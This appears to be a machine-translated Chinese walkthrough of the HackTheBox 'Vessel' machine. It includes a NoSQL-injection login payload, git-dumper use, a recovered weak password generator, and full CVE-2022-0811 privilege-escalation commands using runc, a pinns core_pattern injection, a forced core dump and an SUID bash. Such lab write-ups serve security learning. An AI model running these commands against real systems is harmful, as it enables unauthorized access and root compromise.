入侵盒子 - 船只[硬] - 演练
#python #hacking #pentest #hackthebox

概述

由于在视频中非常耗时,因此文字将在文本中进行。

该机器的标记为刻板标记,大多数任务都是耗时的,但是有一些有趣的漏洞,例如CVE-2022-0811CVE-2022-24637

最重要的是,我们有NoSQL Injection和一些PE反向工程。

写上去

标志1

首先,我开始用ffuf列举整个网站。

$ ffuf -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -u "http://vessel.htb/FUZZ" -fs 26

我发现了一个名为dev的文件夹,然后使我倾倒了网站的git存储库:

$ git-dumper http://vessel.htb/dev/.git ./website_dump

使用该网站可用,我可以检查实际的源代码是否漏洞,在打开routes/index.js后,我已经注意到此代码可能很容易受到NOSQL注入的影响。

...
let username = req.body.username;
let password = req.body.password;
if (username && password) {
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) { ...

代码未检查传递值是否是对象,我可以使用精确的NOSQL有效载荷来成功登录
在执行邮政请求时,使用管理用户使用此有效负载:

username=admin&password[password]=1

在管理面板中的另一个发现上,我发现主机上有另一个域名openwebanalytics。从进一步调查可以探索的东西,我降落在CVE-2022-24637上。有了这种利用,我可以在计算机上运行成功的反向外壳。

使用linpeas我在用户steven
上找到了一些有用的信息

/home/steven/passwordGenerator # Windows PE Exectuable
/home/steven/.notes/screenshot.png # Screenshot of some program
/home/steven/.notes/notes.pdf # Password protected PDF

我怀疑screenshot.pngpasswordGenerator的图像。另一方面,passwordGenerator异常大,整个二进制的使用是创建“安全”密码。我注意到二进制中的Python图标,我怀疑这可能是PyInstaller的python项目。我确认,当我将整个东西加载到Ghidra/Ida时。

我已经使用pyinstxtractor来提取*.pyc文件,然后是uncomplyle6*.pyc文件编译。这使我了解了二进制的实际源代码:

这是生成密码的函数:

def genPassword(self):
        length = value
        char = index
        if char == 0:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
        else:
            if char == 1:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
            else:
                if char == 2:
                    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
                else:
                    try:
                        qsrand(QTime.currentTime().msec())
                        password = ''
                        for i in range(length):
                            idx = qrand() % len(charset)
                            nchar = charset[idx]
                            password += str(nchar)

                    except:
                        msg = QMessageBox()
                        msg.setWindowTitle('Error')
                        msg.setText('Error while generating password!, Send a message to the Author!')
                        x = msg.exec_()

                return password

我将length编辑为32(因为我在屏幕截图上都有它),并对脚本进行了更多编辑以创建可能的密码列表。我可以这样做,因为QTime.currentTime().msec()功能通过该范围从1-1000返回数字,我很有可能猜测生成的密码。

注意:此过程可能有点令人沮丧,因为要生成密码需要时间。我个人花了一个多小时。

然后,我使用pdfcrack破解了PDF的密码,在那里我找到了用户ethan的密码,然后成功登录了它,并找到了第一个标志。

标志2

我再次运行了linpeas.sh,我找到了以下SUID二进制:

...
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwsr-x--- 1 root ethan 814936 Mar 15  2022 /usr/bin/pinns    
...

我有点搜索,这是什么,然后我降落在利用该二进制的CVE-2022-0811上。在这样做的过程中,我注意到我也有runc

╔══════════╣ Container related tools present
/usr/sbin/runc       

这是一个非常棘手的事情,它需要对正在发生的事情进行一些成功执行攻击。您可以查看我为CVE-2022-0811提供的链接以了解有关它的更多信息。在实际使用Kubernetes的实际POC上,我必须使用runc

传递给pinns的参数未经消毒和验证,因此我可以使用它使用root Access执行代码。

我需要在不使用root的情况下使用runc创建一个容器,所以我已经使用了--rootless arg。

参考:https://github.com/opencontainers/runc/#rootless-containers

$ mkdir /tmp/syl
$ cd /tmp/syl/
$ runc spec --rootless
$ mkdir rootfs
$ echo "chmod +s /usr/bin/bash" > syl.sh

然后,我应该将根部安装到容器的根上:

参考:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation

$ runc --root /tmp/syl/ run alpine
# cat /etc/machine-id
c4ca4238a0b923820dcc509a6f75849b

这将运行容器并产生外壳。接下来,我将从另一个会话中进入计算机,以执行pinns二进制文件到我们的容器。

$ /usr/bin/pinns -d /var/run -f c4ca4238a0b923820dcc509a6f75849b -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/syl/syl.sh #' --ipc --net --uts --cgroup

然后,我需要触发一个核心转储,以便pinns在核心转储的情况下执行脚本。遵循Crowdstrike的POC:

# ulimit -c unlimited
# ulimit -c
unlimited
# tail -f /dev/null &
# ps
.. Find the `tail -f /dev/null` PID
# kill -SIGSEGV {thePID}
[1]+  Segmentation fault (core dumped) tail -f /dev/null

回到另一个会话

$ bash -p
$ cat /root/root.txt
{HASH}